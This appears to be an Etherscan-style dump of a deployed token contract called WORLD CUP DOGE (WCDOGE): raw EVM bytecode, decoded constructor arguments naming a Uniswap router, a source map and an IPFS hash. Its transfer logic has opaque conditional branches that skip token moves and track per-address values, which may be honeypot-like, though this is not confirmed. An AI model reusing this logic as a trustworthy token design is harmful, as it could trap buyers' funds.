f565b34801561028e57600080fd5b506101186104a8565b3480156102a357600080fd5b5061014e6102b2366004610e2f565b6104b7565b3480156102c357600080fd5b5061016f6102d2366004610ec0565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b34801561030957600080fd5b50610262610318366004610ef9565b6104cd565b34801561032957600080fd5b50610262610338366004610e9c565b61050a565b34801561034957600080fd5b506101ff7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60606001805461038090610f1b565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac90610f1b565b80156103f95780601f106103ce576101008083540402835291602001916103f9565b820191906000526020600020905b8154815290600101906020018083116103dc57829003601f168201915b5050505050905090565b60006104103384846105a5565b90505b92915050565b6000610426848484610685565b6001600160a01b0384166000908152600b602090815260408083203380855292529091205461046191869161045c908690610f6b565b6105a5565b949350505050565b6000546001600160a01b0316331461049c5760405162461bcd60e51b815260040161049390610f7e565b60405180910390fd5b6104a66000610a9e565b565b60606002805461038090610f1b565b60006104c4338484610685565b50600192915050565b6000546001600160a01b031633146104f75760405162461bcd60e51b815260040161049390610f7e565b600c805460ff1916911515919091179055565b6000546001600160a01b031633146105345760405162461bcd60e51b815260040161049390610f7e565b6001600160a01b0381166105995760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610493565b6105a281610a9e565b50565b60006001600160a01b038416158015906105c757506001600160a01b03831615155b61061f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610493565b6001600160a01b038481166000818152600b602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b30600090815260076020526040812054600c5462010000900460ff161580156106c457506001600160a01b0385166000908152600a6020526040902054155b801561070257507f0000000000000000000000001bd4d84d24ffbd09535aaff877ff702ac4faa6086001600160a01b0316856001600160a01b031614155b801561072557506001600160a01b03851660009081526009602052604090205415155b15610790576006546001600160a01b0386166000908152600a60205260409020546107509190610f6b565b6001600160a01b038616600090815260096020526040902055600c805462ff000019166201000017905561078381610aee565b600c805462ff0000191690555b60068054600081815260086020908152604080832080546001600160a01b039081168552600984528285209590955580546001600160a01b0319168a861617905593549289168252600a9052919091205411801561080757506006546001600160a01b0385166000908152600a6020526040902054115b1561084557306000908152600760205260408120805485945084929061082e908490610fb3565b9091555061083e90508385610b27565b5050505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316846001600160a01b03161415801561089e57506001600160a01b0385166000908152600a602052604090205415155b80156108dc57507f0000000000000000000000001bd4d84d24ffbd09535aaff877ff702ac4faa6086001600160a01b0316846001600160a01b031614155b80156108e9575060065483115b1561090d5750506001600160a01b039091166000908152600a602052604090205550565b600060055411801561093557506001600160a01b0385166000908152600a6020526040902054155b801561094a5750600c5462010000900460ff16155b801561096c57506001600160a01b0384166000908152600a6020526040902054155b156109ee576064600554846109819190610fc6565b61098b9190610fdd565b91506109978284610f6b565b6001600160a01b0386166000908152600760205260408120805492955084929091906109c4908490610f6b565b909155505030600090815260076020526040812080548492906109e8908490610fb3565b90915550505b6001600160a01b03851660009081526007602052604081208054859290610a16908490610f6b565b90915550506001600160a01b03841660009081526007602052604081208054859290610a43908490610fb3565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a8f91815260200190565b60405180910390a35050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610afb600283610fdd565b905047610b088230610b27565b6000610b148247610f6b565b9050610b21838230610ce9565b50505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610b5c57610b5c610fff565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bfe9190611015565b81600181518110610c1157610c11610fff565b60200260200101906001600160a01b031690816001600160a01b031681525050610c5c307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856105a5565b5060405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790610cb2908690600090869088904290600401611032565b600060405180830381600087803b158015610ccc57600080fd5b505af1158015610ce0573d6000803e3d6000fd5b50505050505050565b610d14307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856105a5565b5060405163f305d71960e01b81523060048201526024810184905260006044820181905260648201526001600160a01b0382811660848301524260a48301527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063f305d71990849060c40160606040518083038185885af1158015610d9f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dc491906110a3565b505050505050565b600060208083528351808285015260005b81811015610df957858101830151858201604001528201610ddd565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105a257600080fd5b60008060408385031215610e4257600080fd5b8235610e4d81610e1a565b946020939093013593505050565b600080600060608486031215610e7057600080fd5b8335610e7b81610e1a565b92506020840135610e8b81610e1a565b929592945050506040919091013590565b600060208284031215610eae57600080fd5b8135610eb981610e1a565b9392505050565b60008060408385031215610ed357600080fd5b8235610ede81610e1a565b91506020830135610eee81610e1a565b809150509250929050565b600060208284031215610f0b57600080fd5b81358015158114610eb957600080fd5b600181811c90821680610f2f57607f821691505b602082108103610f4f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561041357610413610f55565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561041357610413610f55565b808202811582820484141761041357610413610f55565b600082610ffa57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561102757600080fd5b8151610eb981610e1a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156110825784516001600160a01b03168352938301939183019160010161105d565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156110b857600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220176f5e8733636a22f5ecb34bc36b64a726bd3c563715eb98efbadba257c834d064736f6c63430008110033

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000000000000000000000000000000000000000000e574f524c442043555020444f474500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000065743444f47450000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): WORLD CUP DOGE
Arg [1] : Symbol (string): WCDOGE
Arg [2] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [4] : 574f524c442043555020444f4745000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [6] : 5743444f47450000000000000000000000000000000000000000000000000000

11564:5399:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13072:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13647:137;;;;;;;;;;-1:-1:-1;13647:137:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;13647:137:0;1023:187:1;13163:86:0;;;;;;;;;;-1:-1:-1;13234:7:0;;13163:86;;;1361:25:1;;;1349:2;1334:18;13163:86:0;1215:177:1;14152:274:0;;;;;;;;;;-1:-1:-1;14152:274:0;;;;;:::i;:::-;;:::i;13257:85::-;;;;;;;;;;-1:-1:-1;13325:9:0;;;;13257:85;;11783:26;;;;;;;;;;;;;;;;12302:38;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2022:32:1;;;2004:51;;1992:2;1977:18;12302:38:0;1858:203:1;13492:110:0;;;;;;;;;;-1:-1:-1;13492:110:0;;;;;:::i;:::-;-1:-1:-1;;;;;13576:18:0;13549:7;13576:18;;;:9;:18;;;;;;;13492:110;10935:94;;;;;;;;;;;;;:::i;:::-;;10284:87;;;;;;;;;;-1:-1:-1;10330:7:0;10357:6;-1:-1:-1;;;;;10357:6:0;10284:87;;12977;;;;;;;;;;;;;:::i;14434:158::-;;;;;;;;;;-1:-1:-1;14434:158:0;;;;;:::i;:::-;;:::i;13350:134::-;;;;;;;;;;-1:-1:-1;13350:134:0;;;;;:::i;:::-;-1:-1:-1;;;;;13449:18:0;;;13422:7;13449:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13350:134;12867:104;;;;;;;;;;-1:-1:-1;12867:104:0;;;;;:::i;:::-;;:::i;11184:192::-;;;;;;;;;;-1:-1:-1;11184:192:0;;;;;:::i;:::-;;:::i;12253:42::-;;;;;;;;;;;;;;;13072:83;13109:13;13142:5;13135:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13072:83;:::o;13647:137::-;13715:4;13739:37;13748:10;13760:7;13769:6;13739:8;:37::i;:::-;13732:44;;13647:137;;;;;:::o;14152:274::-;14277:4;14294:36;14304:6;14312:9;14323:6;14294:9;:36::i;:::-;-1:-1:-1;;;;;14377:19:0;;;;;;:11;:19;;;;;;;;14365:10;14377:31;;;;;;;;;14348:70;;14357:6;;14377:40;;14411:6;;14377:40;:::i;:::-;14348:8;:70::i;:::-;14341:77;14152:274;-1:-1:-1;;;;14152:274:0:o;10935:94::-;10330:7;10357:6;-1:-1:-1;;;;;10357:6:0;9183:10;10504:23;10496:68;;;;-1:-1:-1;;;10496:68:0;;;;;;;:::i;:::-;;;;;;;;;11000:21:::1;11018:1;11000:9;:21::i;:::-;10935:94::o:0;12977:87::-;13016:13;13049:7;13042:14;;;;;:::i;14434:158::-;14505:4;14522:40;14532:10;14544:9;14555:6;14522:9;:40::i;:::-;-1:-1:-1;14580:4:0;14434:158;;;;:::o;12867:104::-;10330:7;10357:6;-1:-1:-1;;;;;10357:6:0;9183:10;10504:23;10496:68;;;;-1:-1:-1;;;10496:68:0;;;;;;;:::i;:::-;12937:11:::1;:26:::0;;-1:-1:-1;;12937:26:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12867:104::o;11184:192::-;10330:7;10357:6;-1:-1:-1;;;;;10357:6:0;9183:10;10504:23;10496:68;;;;-1:-1:-1;;;10496:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11273:22:0;::::1;11265:73;;;::::0;-1:-1:-1;;;11265:73:0;;4436:2:1;11265:73:0::1;::::0;::::1;4418:21:1::0;4475:2;4455:18;;;4448:30;4514:34;4494:18;;;4487:62;-1:-1:-1;;;4565:18:1;;;4558:36;4611:19;;11265:73:0::1;4234:402:1::0;11265:73:0::1;11349:19;11359:8;11349:9;:19::i;:::-;11184:192:::0;:::o;13792:352::-;13909:4;-1:-1:-1;;;;;13934:19:0;;;;;;:44;;-1:-1:-1;;;;;;13957:21:0;;;;13934:44;13926:93;;;;-1:-1:-1;;;13926:93:0;;4843:2:1;13926:93:0;;;4825:21:1;4882:2;4862:18;;;4855:30;4921:34;4901:18;;;4894:62;-1:-1:-1;;;4972:18:1;;;4965:34;5016:19;;13926:93:0;4641:400:1;13926:93:0;-1:-1:-1;;;;;14030:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14082:32;;1361:25:1;;;14082:32:0;;1334:18:1;14082:32:0;;;;;;;-1:-1:-1;14132:4:0;13792:352;;;;;:::o;14600:1350::-;14785:4;14714:11;13576:18;;;:9;:18;;;;;;14809:16;;;;;;;14808:17;:40;;;;-1:-1:-1;;;;;;14829:14:0;;;;;;:8;:14;;;;;;:19;14808:40;:65;;;;;14860:13;-1:-1:-1;;;;;14852:21:0;:4;-1:-1:-1;;;;;14852:21:0;;;14808:65;:87;;;;-1:-1:-1;;;;;;14877:14:0;;14894:1;14877:14;;;:8;:14;;;;;;:18;;14808:87;14804:288;;;14946:6;;-1:-1:-1;;;;;14929:14:0;;;;;;:8;:14;;;;;;:23;;14946:6;14929:23;:::i;:::-;-1:-1:-1;;;;;14912:14:0;;;;;;:8;:14;;;;;:40;14967:16;:23;;-1:-1:-1;;14967:23:0;;;;;15005:36;15020:20;15005:14;:36::i;:::-;15056:16;:24;;-1:-1:-1;;15056:24:0;;;14804:288;15137:6;;;15104:30;15113:20;;;:12;:20;;;;;;;;;;-1:-1:-1;;;;;15113:20:0;;;15104:30;;:8;:30;;;;;:39;;;;15154:25;;-1:-1:-1;;;;;;15154:25:0;;;;;;;15213:6;;15196:14;;;;;:8;:14;;;;;;;:23;:48;;;;-1:-1:-1;15238:6:0;;-1:-1:-1;;;;;15223:12:0;;;;;;:8;:12;;;;;;:21;15196:48;15192:203;;;15306:4;15288:24;;;;:9;:24;;;;;:31;;15267:6;;-1:-1:-1;15267:6:0;;15288:24;:31;;15267:6;;15288:31;:::i;:::-;;;;-1:-1:-1;15334:28:0;;-1:-1:-1;15351:6:0;15359:2;15334:16;:28::i;:::-;15377:7;;14600:1350;;;:::o;15192:203::-;15425:6;-1:-1:-1;;;;;15411:21:0;:2;-1:-1:-1;;;;;15411:21:0;;;:43;;;;-1:-1:-1;;;;;;15436:14:0;;15453:1;15436:14;;;:8;:14;;;;;;:18;;15411:43;:66;;;;;15464:13;-1:-1:-1;;;;;15458:19:0;:2;-1:-1:-1;;;;;15458:19:0;;;15411:66;:85;;;;;15490:6;;15481;:15;15411:85;15407:160;;;-1:-1:-1;;;;;;;15513:12:0;;;;;;;:8;:12;;;;;:21;-1:-1:-1;14600:1350:0:o;15407:160::-;15593:1;15583:7;;:11;:34;;;;-1:-1:-1;;;;;;15598:14:0;;;;;;:8;:14;;;;;;:19;15583:34;:55;;;;-1:-1:-1;15622:16:0;;;;;;;15621:17;15583:55;:76;;;;-1:-1:-1;;;;;;15642:12:0;;;;;;:8;:12;;;;;;:17;15583:76;15579:250;;;15703:3;15692:7;;15683:6;:16;;;;:::i;:::-;15682:24;;;;:::i;:::-;15676:30;-1:-1:-1;15721:13:0;15676:30;15721:13;;:::i;:::-;-1:-1:-1;;;;;15749:15:0;;;;;;:9;:15;;;;;:22;;15721:13;;-1:-1:-1;15768:3:0;;15749:15;;;:22;;15768:3;;15749:22;:::i;:::-;;;;-1:-1:-1;;15804:4:0;15786:24;;;;:9;:24;;;;;:31;;15814:3;;15786:24;:31;;15814:3;;15786:31;:::i;:::-;;;;-1:-1:-1;;15579:250:0;-1:-1:-1;;;;;15841:15:0;;;;;;:9;:15;;;;;:25;;15860:6;;15841:15;:25;;15860:6;;15841:25;:::i;:::-;;;;-1:-1:-1;;;;;;;15877:13:0;;;;;;:9;:13;;;;;:23;;15894:6;;15877:13;:23;;15894:6;;15877:23;:::i;:::-;;;;;;;;15931:2;-1:-1:-1;;;;;15916:26:0;15925:4;-1:-1:-1;;;;;15916:26:0;;15935:6;15916:26;;;;1361:25:1;;1349:2;1334:18;;1215:177;15916:26:0;;;;;;;;14703:1247;;14600:1350;;;:::o;11384:173::-;11440:16;11459:6;;-1:-1:-1;;;;;11476:17:0;;;-1:-1:-1;;;;;;11476:17:0;;;;;;11509:40;;11459:6;;;;;;;11509:40;;11440:16;11509:40;11429:128;11384:173;:::o;16260:323::-;16319:12;16334:10;16343:1;16334:6;:10;:::i;:::-;16319:25;-1:-1:-1;16380:21:0;16412:37;16319:25;16443:4;16412:16;:37::i;:::-;16460:18;16481:38;16505:14;16481:21;:38;:::i;:::-;16460:59;;16530:45;16543:4;16549:10;16569:4;16530:12;:45::i;:::-;16308:275;;;16260:323;:::o;16591:369::-;16693:16;;;16707:1;16693:16;;;;;;;;16669:21;;16693:16;;;;;;;;;;-1:-1:-1;16693:16:0;16669:40;;16738:4;16720;16725:1;16720:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;16720:23:0;;;-1:-1:-1;;;;;16720:23:0;;;;;16764:6;-1:-1:-1;;;;;16764:11:0;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16754:4;16759:1;16754:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;16754:23:0;;;-1:-1:-1;;;;;16754:23:0;;;;;16788:53;16805:4;16820:6;16829:11;16788:8;:53::i;:::-;-1:-1:-1;16852:100:0;;-1:-1:-1;;;16852:100:0;;-1:-1:-1;;;;;16852:6:0;:57;;;;:100;;16910:11;;16923:1;;16926:4;;16932:2;;16936:15;;16852:100;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16658:302;16591:369;;:::o;15958:294::-;16085:53;16102:4;16117:6;16126:11;16085:8;:53::i;:::-;-1:-1:-1;16149:95:0;;-1:-1:-1;;;16149:95:0;;16198:4;16149:95;;;7417:34:1;7467:18;;;7460:34;;;16218:1:0;7510:18:1;;;7503:34;;;7553:18;;;7546:34;-1:-1:-1;;;;;7617:15:1;;;7596:19;;;7589:44;16228:15:0;7649:19:1;;;7642:35;16149:6:0;:22;;;;16179:9;;7351:19:1;;16149:95:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;15958:294;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2066:247::-;2125:6;2178:2;2166:9;2157:7;2153:23;2149:32;2146:52;;;2194:1;2191;2184:12;2146:52;2233:9;2220:23;2252:31;2277:5;2252:31;:::i;:::-;2302:5;2066:247;-1:-1:-1;;;2066:247:1:o;2318:388::-;2386:6;2394;2447:2;2435:9;2426:7;2422:23;2418:32;2415:52;;;2463:1;2460;2453:12;2415:52;2502:9;2489:23;2521:31;2546:5;2521:31;:::i;:::-;2571:5;-1:-1:-1;2628:2:1;2613:18;;2600:32;2641:33;2600:32;2641:33;:::i;:::-;2693:7;2683:17;;;2318:388;;;;;:::o;2711:273::-;2767:6;2820:2;2808:9;2799:7;2795:23;2791:32;2788:52;;;2836:1;2833;2826:12;2788:52;2875:9;2862:23;2928:5;2921:13;2914:21;2907:5;2904:32;2894:60;;2950:1;2947;2940:12;3223:380;3302:1;3298:12;;;;3345;;;3366:61;;3420:4;3412:6;3408:17;3398:27;;3366:61;3473:2;3465:6;3462:14;3442:18;3439:38;3436:161;;3519:10;3514:3;3510:20;3507:1;3500:31;3554:4;3551:1;3544:15;3582:4;3579:1;3572:15;3436:161;;3223:380;;;:::o;3608:127::-;3669:10;3664:3;3660:20;3657:1;3650:31;3700:4;3697:1;3690:15;3724:4;3721:1;3714:15;3740:128;3807:9;;;3828:11;;;3825:37;;;3842:18;;:::i;3873:356::-;4075:2;4057:21;;;4094:18;;;4087:30;4153:34;4148:2;4133:18;;4126:62;4220:2;4205:18;;3873:356::o;5046:125::-;5111:9;;;5132:10;;;5129:36;;;5145:18;;:::i;5176:168::-;5249:9;;;5280;;5297:15;;;5291:22;;5277:37;5267:71;;5318:18;;:::i;5349:217::-;5389:1;5415;5405:132;;5459:10;5454:3;5450:20;5447:1;5440:31;5494:4;5491:1;5484:15;5522:4;5519:1;5512:15;5405:132;-1:-1:-1;5551:9:1;;5349:217::o;5703:127::-;5764:10;5759:3;5755:20;5752:1;5745:31;5795:4;5792:1;5785:15;5819:4;5816:1;5809:15;5835:251;5905:6;5958:2;5946:9;5937:7;5933:23;5929:32;5926:52;;;5974:1;5971;5964:12;5926:52;6006:9;6000:16;6025:31;6050:5;6025:31;:::i;6091:980::-;6353:4;6401:3;6390:9;6386:19;6432:6;6421:9;6414:25;6458:2;6496:6;6491:2;6480:9;6476:18;6469:34;6539:3;6534:2;6523:9;6519:18;6512:31;6563:6;6598;6592:13;6629:6;6621;6614:22;6667:3;6656:9;6652:19;6645:26;;6706:2;6698:6;6694:15;6680:29;;6727:1;6737:195;6751:6;6748:1;6745:13;6737:195;;;6816:13;;-1:-1:-1;;;;;6812:39:1;6800:52;;6907:15;;;;6872:12;;;;6848:1;6766:9;6737:195;;;-1:-1:-1;;;;;;;6988:32:1;;;;6983:2;6968:18;;6961:60;-1:-1:-1;;;7052:3:1;7037:19;7030:35;6949:3;6091:980;-1:-1:-1;;;6091:980:1:o;7688:306::-;7776:6;7784;7792;7845:2;7833:9;7824:7;7820:23;7816:32;7813:52;;;7861:1;7858;7851:12;7813:52;7890:9;7884:16;7874:26;;7940:2;7929:9;7925:18;7919:25;7909:35;;7984:2;7973:9;7969:18;7963:25;7953:35;;7688:306;;;;;:::o

ipfs://176f5e8733636a22f5ecb34bc36b64a726bd3c563715eb98efbadba257c834d0